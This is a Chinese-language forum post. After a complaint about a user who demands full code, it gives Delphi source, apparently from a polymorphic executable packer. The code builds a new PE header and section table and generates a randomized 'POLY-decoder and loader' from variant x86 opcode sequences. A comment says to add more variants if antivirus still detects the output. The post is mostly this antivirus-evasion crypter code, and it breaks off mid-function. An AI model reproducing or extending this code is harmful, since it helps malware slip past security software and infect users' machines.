dazzling同志:<br>(1)有次你问我一个问题,我已经告诉你到DFW的"编程心得"里面去找,里面有.你却叫我帮你找出来.我正在解决我的问题,又怎么有时间去帮你找你?<br>(2)其它.每次我都告诉你关键所在,你非要人家连代码都写出来给你.否则又威胁又漫骂.难道你的工资也给我吗?否则我怎么可能利用上班时间帮你做你上班的事情?<br><br>如果你白天看到我在QQ,不是周末(周末我要陪MM,一般都不上网).因为我在上班.公司一样规定上班时间不能开QQ的.所以不可能那么详细的连代码都给你写出来.<br>如果是晚上,我肯定在调试程序.你也知道,白天在公司是不能干私活的.所以只能利用晚上仅有的一点时间.<br>我喜欢帮助人,但是绝对没有义务非帮不可.你大可问问QQ 6667790 ,或者31541206.只有你一个人这样说我.呵呵.<br>===============================================================================<br>关于这个问题,可能大家摸的方向不对.实际上,你不一定要用资源.用流即可.当然,你要重组节内容.大概步骤如下:根据你要运行的EXE,计算出新头,然后重新写DOS头和节表即可,这样一来运行的时候,不用释放出来,直接跳到该地址即可.<br>第一步:计算节表并填充新的EXE头<br> if Key<>nil then<br> begin<br> GenerateKey(Key,KeySize);<br><br> ZeroMemory(@DosHeader,SizeOf(DosHeader));<br> ZeroMemory(@NtHeaders,SizeOf(NtHeaders));<br> ZeroMemory(@DosStubEnd,SizeOf(DosStubEnd));<br> if not Quiet then WriteLn(#$0D#$0A'Building DOS header ...');<br> DosHeader.e_magic:=PWord(PChar('MZ'))^;<br> DosHeader.e_cblp:=$0050;<br> DosHeader.e_cp:=$0002;<br> DosHeader.e_cparhdr:=$0004;<br> DosHeader.e_minalloc:=$000F;<br> DosHeader.e_maxalloc:=$FFFF;<br> DosHeader.e_sp:=$00B8;<br> DosHeader.e_lfarlc:=$0040;<br> DosHeader.e_ovno:=$001A;<br> DosHeader._lfanew:=$0100;<br><br> if not Quiet then WriteLn('Building NT headers ...');<br> NtHeaders.Signature:=PCardinal(PChar('PE'))^;<br> NtHeaders.FileHeader.Machine:=IMAGE_FILE_MACHINE_I386;<br> NtHeaders.FileHeader.NumberOfSections:=3;<br> if TlsSectionPresent then Inc(NtHeaders.FileHeader.NumberOfSections);<br> if not Quiet then WriteLn('Number of sections: ',NtHeaders.FileHeader.NumberOfSections);<br> NtHeaders.FileHeader.TimeDateStamp:=Random($20000000)+$20000000;<br> NtHeaders.FileHeader.SizeOfOptionalHeader:=IMAGE_SIZEOF_NT_OPTIONAL_HEADER;<br> NtHeaders.FileHeader.Characteristics:=IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_LINE_NUMS_STRIPPED<br> or IMAGE_FILE_LOCAL_SYMS_STRIPPED or IMAGE_FILE_LINE_NUMS_STRIPPED<br> or IMAGE_FILE_BYTES_REVERSED_LO or IMAGE_FILE_32BIT_MACHINE<br> or IMAGE_FILE_BYTES_REVERSED_HI;<br><br> NtHeaders.OptionalHeader.Magic:=IMAGE_NT_OPTIONAL_HDR_MAGIC;<br> NtHeaders.OptionalHeader.MajorLinkerVersion:=Random(9)+1;<br> NtHeaders.OptionalHeader.MinorLinkerVersion:=Random(99)+1;<br> NtHeaders.OptionalHeader.SizeOfCode:=$00001000; //may change<br> NtHeaders.OptionalHeader.BaseOfCode:=$00001000; //may change<br> if ReqImageBase<>0 then NtHeaders.OptionalHeader.ImageBase:=RoundSize(ReqImageBase,$00010000)<br> else if HostImageBase=$00400000 then NtHeaders.OptionalHeader.ImageBase:=RoundSize(HostImageBase+HostSizeOfImage+$00100000,$00010000)<br> else NtHeaders.OptionalHeader.ImageBase:=$00400000;<br> if not Quiet then WriteLn('ImageBase: ',IntToHex(NtHeaders.OptionalHeader.ImageBase,8));<br> NtHeaders.OptionalHeader.SectionAlignment:=$00001000;<br> NtHeaders.OptionalHeader.FileAlignment:=$00000200; //may change<br> NtHeaders.OptionalHeader.MajorOperatingSystemVersion:=$0004;<br> NtHeaders.OptionalHeader.MajorSubsystemVersion:=$0004;<br> NtHeaders.OptionalHeader.SizeOfHeaders:=$00000400; //may change<br> NtHeaders.OptionalHeader.Subsystem:=HostSubsystem;<br> NtHeaders.OptionalHeader.SizeOfStackReserve:=$00100000;<br> NtHeaders.OptionalHeader.SizeOfStackCommit:=$00010000; //may change<br> NtHeaders.OptionalHeader.SizeOfHeapReserve:=$00100000;<br> NtHeaders.OptionalHeader.SizeOfHeapCommit:=$00010000;<br> NtHeaders.OptionalHeader.NumberOfRvaAndSizes:=$00000010;<br><br> if not Quiet then WriteLn(#$0D#$0A'Building .text section');<br> ZeroMemory(@CodeSection,SizeOf(CodeSection));<br> CopyMemory(@CodeSection.Name,PChar('.text'),5); //may change -> CODE<br> CodeSection.Misc.VirtualSize:=$00001000; //should change<br> CodeSection.VirtualAddress:=NtHeaders.OptionalHeader.BaseOfCode;<br> CodeSection.SizeOfRawData:=$00001000;<br> CodeSection.PointerToRawData:=NtHeaders.OptionalHeader.SizeOfHeaders;<br> CodeSection.Characteristics:=IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ;<br> if not Quiet then<br> begin<br> WriteLn('.text section virtual address: ',IntToHex(CodeSection.VirtualAddress,8));<br> WriteLn('.text section virtual size: ',IntToHex(CodeSection.Misc.VirtualSize,8));<br> WriteLn(#$0D#$0A'Building .data section');<br> end;<br><br> ZeroMemory(@DataSection,SizeOf(DataSection));<br> CopyMemory(@DataSection.Name,PChar('.data'),5); //may change -> DATA<br> DataSection.Misc.VirtualSize:=RoundSize(MainSize,NtHeaders.OptionalHeader.SectionAlignment);<br> DataSection.VirtualAddress:=CodeSection.VirtualAddress+CodeSection.Misc.VirtualSize;<br> DataSection.SizeOfRawData:=RoundSize(MainSize,RawDataAlignment);<br> DataSection.PointerToRawData:=CodeSection.PointerToRawData+CodeSection.SizeOfRawData;<br> DataSection.Characteristics:=IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ;<br><br> NtHeaders.OptionalHeader.SizeOfInitializedData:=DataSection.Misc.VirtualSize;<br> NtHeaders.OptionalHeader.BaseOfData:=DataSection.VirtualAddress;<br><br> if not Quiet then<br> begin<br> WriteLn('.data section virtual address: ',IntToHex(DataSection.VirtualAddress,8));<br> WriteLn('.data section virtual size: ',IntToHex(DataSection.Misc.VirtualSize,8));<br> WriteLn(#$0D#$0A'Building .idata section');<br> end;<br><br> NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress:=DataSection.VirtualAddress+DataSection.Misc.VirtualSize; //may change<br> NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size:=NtHeaders.OptionalHeader.SectionAlignment;<br><br> ZeroMemory(@ImportSection,SizeOf(ImportSection));<br> CopyMemory(@ImportSection.Name,PChar('.idata'),6);<br> ImportSection.Misc.VirtualSize:=NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;<br> ImportSection.VirtualAddress:=NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;<br> ImportSection.SizeOfRawData:=RoundSize($00000070,RawDataAlignment);<br> ImportSection.PointerToRawData:=DataSection.PointerToRawData+DataSection.SizeOfRawData;<br> ImportSection.Characteristics:=IMAGE_SCN_CNT_CODE or IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ;<br><br> if not Quiet then<br> begin<br> WriteLn('.idata section virtual address: ',IntToHex(DataSection.VirtualAddress,8));<br> WriteLn('.idata section virtual size: ',IntToHex(DataSection.Misc.VirtualSize,8));<br> end;<br> // .tls Section<br> if TlsSectionPresent then<br> begin<br> if not Quiet then WriteLn(#$0D#$0A'Building .tls section');<br> TlsCopy.Directory:=@PImageNtHeaders(Ptr)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];<br> PB:=VirtAddrToPhysAddr(Ptr,Pointer(TlsCopy.Directory.VirtualAddress+PImageNtHeaders(Ptr)^.OptionalHeader.ImageBase));<br> if PB<>nil then Inc(PB,Cardinal(MainData));<br> TlsCopy.SectionData:=Pointer(PB);<br> if TlsCopy.SectionData<>nil then<br> begin<br> TlsCopy.RawDataLen:=TlsCopy.SectionData^.RawDataEnd-TlsCopy.SectionData^.RawDataStart;<br> TlsCopy.RawData:=Pointer(LocalAlloc(LMEM_FIXED,TlsCopy.RawDataLen));<br><br> PB:=VirtAddrToPhysAddr(Ptr,Pointer(TlsCopy.SectionData^.RawDataStart));<br> if PB<>nil then<br> begin<br> Inc(PB,Cardinal(MainData));<br> CopyMemory(TlsCopy.RawData,PB,TlsCopy.RawDataLen);<br> end else ZeroMemory(TlsCopy.RawData,TlsCopy.RawDataLen);<br><br> PB:=VirtAddrToPhysAddr(Ptr,Pointer(TlsCopy.SectionData^.AddressOfCallbacks));<br> if PB=nil then<br> begin<br> TlsCopy.CallbacksLen:=4;<br> TlsCopy.Callbacks:=Pointer(LocalAlloc(LMEM_FIXED,TlsCopy.CallbacksLen));<br> ZeroMemory(TlsCopy.Callbacks,TlsCopy.CallbacksLen);<br> end else<br> begin<br> Inc(PB,Cardinal(MainData));<br> TlsCopy.CallbacksLen:=GetTlsCallbacksLen(PB);<br> TlsCopy.Callbacks:=Pointer(LocalAlloc(LMEM_FIXED,TlsCopy.CallbacksLen));<br> CopyMemory(TlsCopy.Callbacks,PB,TlsCopy.CallbacksLen);<br> end;<br><br> ZeroMemory(@TlsSection,SizeOf(TlsSection));<br> CopyMemory(@TlsSection.Name,PChar('.tls'),4);<br> TlsSection.VirtualAddress:=ImportSection.VirtualAddress+ImportSection.Misc.VirtualSize;<br> TlsSection.PointerToRawData:=ImportSection.PointerToRawData+ImportSection.SizeOfRawData;<br> TlsSection.Characteristics:=IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ;<br><br> ZeroMemory(@TlsSectionData,SizeOf(TlsSectionData));<br> TlsSectionData.RawDataStart:=NtHeaders.OptionalHeader.ImageBase+TlsSection.VirtualAddress+RoundSize(SizeOf(TlsSectionData),$10);<br> TlsSectionData.RawDataEnd:=TlsSectionData.RawDataStart+TlsCopy.RawDataLen;<br> TlsSectionData.AddressOfCallbacks:=RoundSize(TlsSectionData.RawDataEnd,$10);<br> TlsSectionData.AddressOfIndex:=RoundSize(TlsSectionData.AddressOfCallbacks+TlsCopy.CallbacksLen,$08);<br><br> TlsSection.SizeOfRawData:=RoundSize(TlsSectionData.AddressOfIndex-TlsSection.VirtualAddress-NtHeaders.OptionalHeader.ImageBase+$10,RawDataAlignment);<br> TlsSection.Misc.VirtualSize:=RoundSize(TlsSection.SizeOfRawData,NtHeaders.OptionalHeader.SectionAlignment);<br><br> NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress:=ImportSection.VirtualAddress+ImportSection.Misc.VirtualSize; //may change<br> NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size:=TlsSection.SizeOfRawData;<br> end else TlsSectionPresent:=False;<br> end;<br><br> if not Quiet then<br> begin<br> WriteLn('.tls section virtual address: ',IntToHex(TlsSection.VirtualAddress,8));<br> WriteLn('.tls section virtual size: ',IntToHex(TlsSection.Misc.VirtualSize,8));<br> if not TlsSectionPresent then WriteLn('.tls section is invalid, new executable may not work');<br> end;<br><br> if TlsSectionPresent then NtHeaders.OptionalHeader.SizeOfImage:=TlsSection.VirtualAddress+TlsSection.Misc.VirtualSize<br> else NtHeaders.OptionalHeader.SizeOfImage:=ImportSection.VirtualAddress+ImportSection.Misc.VirtualSize;<br><br> if not Quiet then WriteLn(#$0D#$0A'Building import descriptor ...');<br> ZeroMemory(@ImportDesc,SizeOf(ImportDesc));<br> ImportDesc.Characteristics:=ImportSection.VirtualAddress+(NumberOfDLL+1)*SizeOf(ImportDesc);<br> ImportDesc.cName:=ImportSection.VirtualAddress+(NumberOfDLL+1)*SizeOf(ImportDesc)+(NumberOfImports+1)*SizeOf(TImageThunkData)*2;<br> ImportDesc.cFirstThunk:=Pointer(ImportDesc.Characteristics+(NumberOfImports+1)*SizeOf(TImageThunkData));<br><br> ThunkGetProcAddress.Ordinal:=ImportSection.VirtualAddress+(NumberOfDLL+1)*SizeOf(ImportDesc)+(NumberOfImports+1)*SizeOf(TImageThunkData)*2+Kernel32Size+2;<br> ThunkLoadLibrary.Ordinal:=ThunkGetProcAddress.Ordinal+GetProcAddressSize+2+2;<br><br> ZeroMemory(@NullDesc,SizeOf(NullDesc));<br>.......<br><br>其中可能用到的函数为:<br><br>procedure GenerateInitCode(ACodePtr,AKeyPtr,AData1Ptr,ASize1,AData2Ptr,ASize2,ADynLoadAddr,AGetProcAddrImpAddr,ALoadLibImpAddr,AMainPtr:Cardinal);<br>//this is the POLY-decoder and loader<br>//see the end of this function to know what it finally does<br>//don't forget to fixup pointers of some instructions<br>//add more variants for each instruction if you think antivirus still get this<br>var<br> LInitInstr:array[0..InitInstrCount-1] of TVarInstruction;<br> LI:Integer;<br> LVirtAddr,LRubbishSize,LDelta,LDelta2,LRemaining,LCodeStart,LPtrAddr:Cardinal;<br> LPB
Byte;<br>begin<br> ZeroMemory(@LInitInstr,SizeOf(LInitInstr));<br> //call somewhere to get eip<br> LInitInstr[00].Count:=1;<br> LInitInstr[00].Vars[0].Len:=5;<br> LInitInstr[00].Vars[0].Code:=#$E8#$78#$56#$34#$12; //call 0WWXXYYZZh<br><br> //eip to ebx<br> LInitInstr[01].Count:=5;<br> LInitInstr[01].Vars[0].Len:=1;<br> LInitInstr[01].Vars[0].Code:=#$5B; //pop ebx<br> LInitInstr[01].Vars[1].Len:=3;<br> LInitInstr[01].Vars[1].Code:=#$8B#$1C#$24; //mov ebx,[esp]<br> LInitInstr[01].Vars[2].Len:=3;<br> LInitInstr[01].Vars[2].Code:=#$58 //pop eax<br> +#$8B#$D8; //mov ebx,eax<br> LInitInstr[01].Vars[3].Len:=5;<br> LInitInstr[01].Vars[3].Code:=#$8B#$14#$24 //mov edx,[esp]<br> +#$87#$DA; //xchg ebx,edx<br> LInitInstr[01].Vars[4].Len:=7;<br> LInitInstr[01].Vars[4].Code:=#$8B#$F4 //mov esi,esp<br> +#$AD //lodsd<br> +#$33#$DB //xor ebx,ebx<br> +#$33#$D8; //xor ebx,eax<br><br> //ebx - offset = image base<br> LInitInstr[02].Count:=4;<br> LInitInstr[02].Vars[0].Len:=6;<br> LInitInstr[02].Vars[0].Code:=#$81#$EB#$78#$56#$34#$12; //sub ebx,0WWXXYYZZh<br> LInitInstr[02].Vars[1].Len:=8;<br> LInitInstr[02].Vars[1].Code:=#$B9#$78#$56#$34#$12 //mov ecx,0WWXXYYZZh<br> +#$4B //dec ebx<br> +#$E2#$FD; //loop Code<br> LInitInstr[02].Vars[2].Len:=16;<br> LInitInstr[02].Vars[2].Code:=#$66#$B8#$34#$12 //mov ax,0WWXXh<br> +#$66#$B9#$78#$56 //mov cx,0YYZZh<br> +#$C1#$E0#$10 //shl eax,010h<br> +#$66#$33#$C1 //xor ax,cx<br> +#$2B#$D8; //sub ebx,eax<br> LInitInstr[02].Vars[3].Len:=9;<br> LInitInstr[02].Vars[3].Code:=#$53 //push ebx<br> +#$81#$2C#$24#$78#$56#$34#$12 //sub [esp],0WWXXYYZZh<br> +#$5B; //pop ebx<br><br> //image base to eax<br> LInitInstr[03].Count:=4;<br> LInitInstr[03].Vars[0].Len:=2;<br> LInitInstr[03].Vars[0].Code:=#$8B#$C3; //mov eax,ebx<br> LInitInstr[03].Vars[1].Len:=2;<br> LInitInstr[03].Vars[1].Code:=#$53 //push ebx<br> +#$58; //pop eax<br> LInitInstr[03].Vars[2].Len:=3;<br> LInitInstr[03].Vars[2].Code:=#$53 //push ebx<br> +#$93 //xchg ebx,eax<br> +#$5B; //pop ebx<br> LInitInstr[03].Vars[3].Len:=5;<br> LInitInstr[03].Vars[3].Code:=#$52 //push edx<br> +#$89#$1C#$24 //mov [esp],ebsx<br> +#$58; //pop eax<br><br> //image base to edi<br> LInitInstr[04].Count:=4;<br> LInitInstr[04].Vars[0].Len:=2;<br> LInitInstr[04].Vars[0].Code:=#$8B#$FB; //mov edi,ebx<br> LInitInstr[04].Vars[1].Len:=2;<br> LInitInstr[04].Vars[1].Code:=#$53 //push ebx<br> +#$5F; //pop edi<br> LInitInstr[04].Vars[2].Len:=4;<br> LInitInstr[04].Vars[2].Code:=#$53 //push ebx<br> +#$87#$DF //xchg ebx,edi<br> +#$5B; //pop ebx<br> LInitInstr[04].Vars[3].Len:=2;<br> LInitInstr[04].Vars[3].Code:=#$8D#$3B; //lea edi,[ebx]<br><br> //edi + key addr = ptr on key<br> LInitInstr[05].Count:=4;<br> LInitInstr[05].Vars[0].Len:=6;<br> LInitInstr[05].Vars[0].Code:=#$81#$C7#$78#$56#$34#$12; //add edi,0WWXXYYZZh<br> LInitInstr[05].Vars[1].Len:=7;<br> LInitInstr[05].Vars[1].Code:=#$BA#$78#$56#$34#$12 //mov edx,0WWXXYYZZh<br> +#$03#$FA; //add edi,edx<br> LInitInstr[05].Vars[2].Len:=8;<br> LInitInstr[05].Vars[2].Code:=#$68#$78#$56#$34#$12 //push 0WWXXYYZZh<br> +#$03#$3C#$24; //add esi,[esp]<br> LInitInstr[05].Vars[3].Len:=9;<br> LInitInstr[05].Vars[3].Code:=#$57 //push edi<br> +#$BF#$78#$56#$34#$12 //mov edi,0WWXXYYZZh<br> +#$5A //pop edx<br> +#$03#$FA; //add edi,edx<br><br> //edi = key on stack<br> LInitInstr[06].Count:=4;<br> LInitInstr[06].Vars[0].Len:=1;<br> LInitInstr[06].Vars[0].Code:=#$57; //push edi<br> LInitInstr[06].Vars[1].Len:=4;<br> LInitInstr[06].Vars[1].Code:=#$53 //push ebx<br> +#$89#$3C#$24; //mov [esp],edi<br> LInitInstr[06].Vars[2].Len:=3;<br> LInitInstr[06].Vars[2].Code:=#$8B#$CF //mov ecx,edi<br> +#$51; //push ecx<br> LInitInstr[06].Vars[3].Len:=5;<br> LInitInstr[06].Vars[3].Code:=#$6A#$00 //push 000h<br> +#$31#$3C#$24; //xor [esp],edi<br><br> //eax + data addr = ptr on data<br> LInitInstr[07].Count:=4;<br> LInitInstr[07].Vars[0].Len:=5;<br> LInitInstr[07].Vars[0].Code:=#$05#$78#$56#$34#$12; //add eax,0WWXXYYZZh<br> LInitInstr[07].Vars[1].Len:=7;<br> LInitInstr[07].Vars[1].Code:=#$BA#$78#$56#$34#$12 //mov edx,0WWXXYYZZh<br> +#$03#$C2; //add eax,edx<br> LInitInstr[07].Vars[2].Len:=9;<br> LInitInstr[07].Vars[2].Code:=#$68#$78#$56#$34#$12 //push 0WWXXYYZZh<br> +#$03#$04#$24 //add eax,[esp]<br> +#$5A; //pop edx<br> LInitInstr[07].Vars[3].Len:=6;<br> LInitInstr[07].Vars[3].Code:=#$8D#$80#$78#$56#$34#$12; //lea eax,[eax+0WWXXYYZZh]<br><br> //size on stack<br> LInitInstr[08].Count:=4;<br> LInitInstr[08].Vars[0].Len:=5;<br> LInitInstr[08].Vars[0].Code:=#$68#$78#$56#$34#$12; //push 0WWXXYYZZh<br> LInitInstr[08].Vars[1].Len:=6;<br> LInitInstr[08].Vars[1].Code:=#$BD#$78#$56#$34#$12 //mov ebp,0WWXXYYZZh<br> +#$55; //push ebp<br> LInitInstr[08].Vars[2].Len:=9;<br> LInitInstr[08].Vars[2].Code:=#$6A#$00 //push 000h<br> +#$81#$04#$24#$78#$56#$34#$12; //add [esp],0WWXXYYZZh<br> LInitInstr[08].Vars[3].Len:=9;<br> LInitInstr[08].Vars[3].Code:=#$33#$C9 //xor ecx,ecx<br> +#$81#$C1#$78#$56#$34#$12 //add ecx,0WWXXYYZZh<br> +#$51; //push ecx<br> //eax = addr on stack<br> LInitInstr[09].Count:=4;<br> LInitInstr[09].Vars[0].Len:=1;<br> LInitInstr[09].Vars[0].Code:=#$50; //push eax<br> LInitInstr[09].Vars[1].Len:=4;<br> LInitInstr[09].Vars[1].Code:=#$51 //push ecx<br> +#$89#$04#$24; //mov [esp],eax<br> LInitInstr[09].Vars[2].Len:=3;<br> LInitInstr[09].Vars[2].Code:=#$8B#$E8 //mov ebp,eax<br> +#$55; //push ebp<br> LInitInstr[09].Vars[3].Len:=9;<br> LInitInstr[09].Vars[3].Code:=#$6A#$21 //push 021h<br> +#$31#$04#$24 //xor [esp],eax<br> +#$83#$34#$24#$21; //xor [esp],021h<br><br> //call @Coder<br> LInitInstr[10].Count:=1;<br> LInitInstr[10].Vars[0].Len:=5;<br> LInitInstr[10].Vars[0].Code:=#$E8#$78#$56#$34#$12; //call 0WWXXYYZZh<br><br> //image base to eax<br> LInitInstr[11].Count:=4;<br> LInitInstr[11].Vars[0].Len:=2;<br> LInitInstr[11].Vars[0].Code:=#$8B#$C3; //mov eax,ebx<br> LInitInstr[11].Vars[1].Len:=2;<br> LInitInstr[11].Vars[1].Code:=#$53 //push ebx<br> +#$58; //pop eax<br> LInitInstr[11].Vars[2].Len:=4;<br> LInitInstr[11].Vars[2].Code:=#$8B#$CB //mov ecx,ebx<br> +#$8B#$C1; //mov eax,ecx<br> LInitInstr[11].Vars[3].Len:=3;<br> LInitInstr[11].Vars[3].Code:=#$53 //push ebx<br> +#$93 //xchg ebx,eax<br> +#$5B; //pop ebx<br><br> //eax + data ptr -> ptr on data<br> LInitInstr[12].Count:=4;<br> LInitInstr[12].Vars[0].Len:=5;<br> LInitInstr[12].Vars[0].Code:=#$05#$78#$56#$34#$12; //add eax,012345678h<br> LInitInstr[12].Vars[1].Len:=7;<br> LInitInstr[12].Vars[1].Code:=#$B9#$78#$56#$34#$12 //mov ecx,012345678h<br> +#$03#$C1; //add eax,ecx<br> LInitInstr[12].Vars[2].Len:=11;<br> LInitInstr[12].Vars[2].Code:=#$68#$78#$56#$34#$12 //push 012345678h<br> +#$03#$04#$24 //add eax,[esp]<br> +#$83#$C4#$04; //add esp,004h<br> LInitInstr[12].Vars[3].Len:=9;<br> LInitInstr[12].Vars[3].Code:=#$50 //push eax<br> +#$81#$04#$24#$78#$56#$34#$12 //add [esp],012345678h<br> +#$58; //pop eax<br><br> //edi = key on stack<br> LInitInstr[13].Count:=4;<br> LInitInstr[13].Vars[0].Len:=1;<br> LInitInstr[13].Vars[0].Code:=#$57; //push edi<br> LInitInstr[13].Vars[1].Len:=4;<br> LInitInstr[13].Vars[1].Code:=#$53 //push ebx<br> +#$89#$3C#$24; //mov [esp],edi<br> LInitInstr[13].Vars[2].Len:=3;<br> LInitInstr[13].Vars[2].Code:=#$8B#$CF //mov ecx,edi<br> +#$51; //push ecx<br> LInitInstr[13].Vars[3].Len:=5;<br> LInitInstr[13].Vars[3].Code:=#$6A#$00 //push 000h<br> +#$31#$3C#$24; //xor [esp],edi<br><br> //size on stack<br> LInitInstr[14].Count:=5;<br> LInitInstr[14].Vars[0].Len:=5;<br> LInitInstr[14].Vars[0].Code:=#$68#$78#$56#$34#$12; //push 0WWXXYYZZh<br> LInitInstr[14].Vars[1].Len:=6;<br> LInitInstr[14].Vars[1].Code:=#$BD#$78#$56#$34#$12 //mov ebp,0WWXXYYZZh<br> +#$55; //push ebp<br> LInitInstr[14].Vars[2].Len:=9;<br> LInitInstr[14].Vars[2].Code:=#$6A#$00 //push 000h<br> +#$81#$04#$24#$78#$56#$34#$12; //add [esp],0WWXXYYZZh<br> LInitInstr[14].Vars[3].Len:=9;<br> LInitInstr[14].Vars[3].Code:=#$33#$C9 //xor ecx,ecx<br> +#$81#$C1#$78#$56#$34#$12 //add ecx,0WWXXYYZZh<br> +#$51; //push ecx<br> LInitInstr[14].Vars[4].Len:=9;<br> LInitInstr[14].Vars[4].Code:=#$6A#$00 //push 000h<br> +#$81#$34#$24#$78#$56#$34#$12; //xor [esp],0WWXXYYZZh<br><br> //eax = addr on stack<br> LInitInstr[15].Count:=4;<br> LInitInstr[15].Vars[0].Len:=1;<br> LInitInstr[15].Vars[0].Code:=#$50; //push eax<br> LInitInstr[15].Vars[1].Len:=4;<br> LInitInstr[15].Vars[1].Code:=#$51 //push ecx<br> +#$89#$04#$24; //mov [esp],eax<br> LInitInstr[15].Vars[2].Len:=3;<br> LInitInstr[15].Vars[2].Code:=#$8B#$E8 //mov ebp,eax<br> +#$55; //push ebp<br> LInitInstr[15].Vars[3].Len:=9;<br> LInitInstr[15].Vars[3].Code:=#$6A#$21 //push 021h<br> +#$31#$04#$24 //xor [esp],eax<br> +#$83#$34#$24#$21; //xor [esp],021h<br><br> //call @Coder<br> LInitInstr[16].Count:=1;<br> LInitInstr[16].Vars[0].Len:=5;<br> LInitInstr[16].Vars[0].Code:=#$E8#$78#$56#$34#$12; //call 0WWXXYYZZh<br><br> //call @DynLoader<br> LInitInstr[17].Count:=1;<br> LInitInstr[17].Vars[0].Len:=5;<br> LInitInstr[17].Vars[0].Code:=#$E8#$78#$56#$34#$12; //call 0WWXXYYZZh<br><br> //ret<br> LInitInstr[18].Count:=4;<br> LInitInstr[18].Vars[0].Len:=1;<br> LInitInstr[18].Vars[0].Code:=#$C3; //ret<br> LInitInstr[18].Vars[1].Len:=3;<br> LInitInstr[18].Vars[1].Code:=#$58 //pop eax<br> +#$FF#$E0; //jmp eax<br> LInitInstr[18].Vars[2].Len:=7;<br> LInitInstr[18].Vars[2].Code:=#$83#$C4#$04 //add esp,004h<br> +#$FF#$64#$24#$FC; //jmp [esp-004h]<br> LInitInstr[18].Vars[3].Len:=7;<br> LInitInstr[18].Vars[3].Code:=#$8B#$04#$24 //mov eax,[esp]<br> +#$50 //push eax<br> +#$C2#$04#$00; //ret 004h<br><br> //@Coder_begin<br> //save edi on stack<br> LInitInstr[19].Count:=4;<br> LInitInstr[19].Vars[0].Len:=1;<br> LInitInstr[19].Vars[0].Code:=#$57; //push edi<br> LInitInstr[19].Vars[1].Len:=4;<br> LInitInstr[19].Vars[1].Code:=#$53 //push ebx<br> +#$89#$3C#$24; //mov [esp],edi<br> LInitInstr[19].Vars[2].Len:=3;<br> LInitInstr[19].Vars[2].Code:=#$8B#$CF //mov ecx,edi<br> +#$51; //push ecx<br> LInitInstr[19].Vars[3].Len:=5;<br> LInitInstr[19].Vars[3].Code:=#$6A#$00 //push 000h<br> +#$31#$3C#$24; //xor [esp],edi<br><br> //AAddr -> edi<br> LInitInstr[20].Count:=4;<br> LInitInstr[20].Vars[0].Len:=4;<br> LInitInstr[20].Vars[0].Code:=#$8B#$7C#$24#$08; //mov edi,[esp+008h]<br> LInitInstr[20].Vars[1].Len:=6;<br> LInitInstr[20].Vars[1].Code:=#$8B#$4C#$24#$08 //mov ecx,[esp+008h]<br> +#$87#$CF; //xchg ecx,edi<br> LInitInstr[20].Vars[2].Len:=6;<br> LInitInstr[20].Vars[2].Code:=#$33#$FF //xor edi,edi<br> +#$03#$7C#$24#$08; //add edi,[esp+008h]<br> LInitInstr[20].Vars[3].Len:=6;<br> LInitInstr[20].Vars[3].Code:=#$8D#$7C#$24#$08 //lea edi,[esp+008h]<br> +#$8B#$3F; //mov edi,[edi]<br><br> //ASize -> ecx<br> LInitInstr[21].Count:=4;<br> LInitInstr[21].Vars[0].Len:=4;<br> LInitInstr[21].Vars[0].Code:=#$8B#$4C#$24#$0C; //mov ecx,[esp+00Ch]<br> LInitInstr[21].Vars[1].Len:=5;<br> LInitInstr[21].Vars[1].Code:=#$8B#$44#$24#$0C //mov eax,[esp+00Ch]<br> +#$91; //xchg ecx,eax<br> LInitInstr[21].Vars[2].Len:=7;<br> LInitInstr[21].Vars[2].Code:=#$6A#$00 //push 000h<br> +#$59 //pop ecx<br> +#$03#$4C#$24#$0C; //add ecx,[esp+00Ch]<br> LInitInstr[21].Vars[3].Len:=6;<br> LInitInstr[21].Vars[3].Code:=#$8D#$44#$24#$0C //lea eax,[esp+00Ch]<br> +#$8B#$08; //mov ecx,[eax]<br><br> //ASize = ASize div 4 -> ecx<br> LInitInstr[22].Count:=4;<br> LInitInstr[22].Vars[0].Len:=3;<br> LInitInstr[22].Vars[0].Code:=#$C1#$E9#$02; //shr ecx,002h<br> LInitInstr[22].Vars[1].Len:=4;<br> LInitInstr[22].Vars[1].Code:=#$D1#$E9 //shr ecx,001h<br> +#$D1#$E9; //shr ecx,001h<br> LInitInstr[22].Vars[2].Len:=10;<br> LInitInstr[22].Vars[2].Code:=#$8B#$C1 //mov eax,ecx<br> +#$6A#$04 //push 004h<br> +#$59 //pop ecx<br> +#$99 //cdq<br> +#$F7#$F1 //div ecx<br> +#$8B#$C8; //mov ecx,eax<br> LInitInstr[22].Vars[3].Len:=14;<br> LInitInstr[22].Vars[3].Code:=#$51 //push ecx<br> +#$58 //pop eax<br> +#$48 //dec eax<br> +#$49 //dec ecx<br> +#$E2#$FC //loop -2<br> +#$8B#$C8 //mov ecx,eax<br> +#$48 //dec eax<br> +#$49 //dec ecx<br> +#$E2#$FC //loop -2<br> +#$8B#$C8; //mov ecx,eax<br><br> //AKey -> esi<br> LInitInstr[23].Count:=4;<br> LInitInstr[23].Vars[0].Len:=4;<br> LInitInstr[23].Vars[0].Code:=#$8B#$74#$24#$10; //mov esi,[esp+010h]<br> LInitInstr[23].Vars[1].Len:=5;<br> LInitInstr[23].Vars[1].Code:=#$8B#$44#$24#$10 //mov eax,[esp+010h]<br> +#$96; //xchg esi,eax<br> LInitInstr[23].Vars[2].Len:=6;<br> LInitInstr[23].Vars[2].Code:=#$33#$F6 //xor esi,esi<br> +#$33#$74#$24#$10; //xor esi,[esp+010h]<br> LInitInstr[23].Vars[3].Len:=6;<br> 